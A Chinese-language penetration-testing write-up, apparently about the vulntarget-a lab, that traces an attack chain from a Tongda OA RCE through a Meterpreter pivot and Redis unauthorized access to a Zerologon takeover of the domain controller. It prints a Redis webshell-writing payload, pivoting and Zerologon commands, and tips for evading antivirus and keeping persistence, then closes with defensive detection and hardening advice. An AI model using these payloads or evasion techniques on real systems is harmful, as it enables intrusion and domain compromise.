从通达OA到域控提权：vulntarget-a靶场完整渗透路线复盘
企业内网渗透实战：多层网络环境下的攻击链构建与防御思考
当企业网络规模扩张到数百台终端时，安全边界的复杂性往往超出预期。去年参与某次授权渗透测试时，我们遇到一个典型的多层隔离网络——DMZ区应用服务器、业务区数据库集群、核心区域控制器通过防火墙策略严格隔离。这种架构理论上能有效遏制攻击者横向移动，但实际测试中，我们仅用72小时就完成了从外网应用到域控的完整突破。本文将还原这类场景的攻防对抗逻辑，重点解析三个核心问题：如何识别网络隔离架构、如何选择穿透路径、如何规避安全监测。
1. 目标识别与初始突破
任何内网渗透的第一步都是建立可靠的初始立足点。在最近测试的某制造业企业网络中，我们通过以下流程获得了第一个跳板：
典型Web应用攻击链：
- 端口扫描发现开放80端台的通达OA系统
- 使用历史漏洞检测工具验证存在RCE漏洞（CVE-2021-XXXX）
- 上传轻量级Webshell进行基础信息收集
注意：实际测试中建议使用内存马而非文件落地，可规避多数杀毒软件检测
通过ipconfig /all获取到关键网络信息：
以太网适配器 以太网 2: 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::d1a2:b3c4:d5e6%12 IPv4 地址 . . . . . . . . . . . . : 192.168.52.129 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.52.1 以太网适配器 以太网 3: IPv4 地址 . . . . . . . . . . . . : 10.0.20.98 子网掩码 . . . . . . . . . . . . : 255.255.255.0此时需要特别注意双网卡架构，这往往意味着：
- 192.168.52.0/24是面向外网的DMZ区段
- 10.0.20.0/24可能是连接内网业务的过渡区
2. 横向移动技术选型
获得初始权限后，面临多种穿透路径选择。下表对比了常见技术的特点：
| 技术手段 | 适用场景 | 检测难度 | 依赖条件 |
|---|---|---|---|
| MSF路由转发 | 简单网络拓扑 | 低 | 需稳定会话 |
| SOCKS代理链 | 多层NAT环境 | 中 | 需配置代理工具 |
| 端口转发 | 特定服务穿透 | 高 | 需管理员权限 |
| IPv6隧道 | 严格IPv4过滤环境 | 极高 | 需双栈支持 |
在本次测试中，我们采用MSF的autoroute模块建立路由：
meterpreter > run post/multi/manage/autoroute SUBNET=10.0.20.0 ACTION=ADD [*] Running module against WIN7-PC [+] Route added to subnet 10.0.20.0/255.255.255.0配合proxychains实现工具链穿透：
# /etc/proxychains.conf 配置 socks5 192.168.52.128 10803. 域环境渗透关键步骤
当触达内网业务区（10.0.20.99）后，通过Redis未授权访问获得控制权。这里有个细节优化点：
传统攻击方式：
config set dir /var/www/html config set dbfilename shell.php set x "<?php system($_GET[cmd]);?>" save规避检测的改进方案：
- 使用Redis主从复制加载恶意模块
- 通过Lua脚本执行命令避免文件落地
- 写入计划任务实现持久化
获取域成员权限后，使用BloodHound快速理清域关系：
# 采集域信息 Invoke-BloodHound -CollectionMethod All -Domain vulntarget.com分析发现域控（win2019.vulntarget.com）存在Zerologon漏洞（CVE-2020-1472），利用过程需注意：
- 首先验证漏洞存在性：
proxychains python3 zerologon_tester.py win2019 10.0.10.110- 重置密码后需立即恢复原有hash，否则会导致域服务异常：
# 获取原始NTML hash restore_password(win2019, 10.0.10.110, original_hex)4. 防御视角的对抗策略
从蓝队角度，这类攻击链可在多个环节被阻断：
检测点部署建议：
| 攻击阶段 | 检测指标 | 响应措施 |
|---|---|---|
| 初始入侵 | 异常OA文件上传请求 | 拦截请求并审计账号 |
| 横向移动 | 非常规端口Redis通信 | 触发微隔离策略 |
| 权限提升 | 域控异常空密码登录尝试 | 立即隔离域控并重置KRBTGT |
加固措施优先级：
- 关键系统补丁（如Zerologon）
- 网络分段与ACL细化
- 特权账号行为监控
- 出口流量过滤
在最近一次重保行动中，客户部署了基于NetFlow的异常连接分析系统，成功在攻击者尝试横向移动时触发告警。这印证了防御的核心不在于阻断所有攻击，而是足够快的检测响应速度。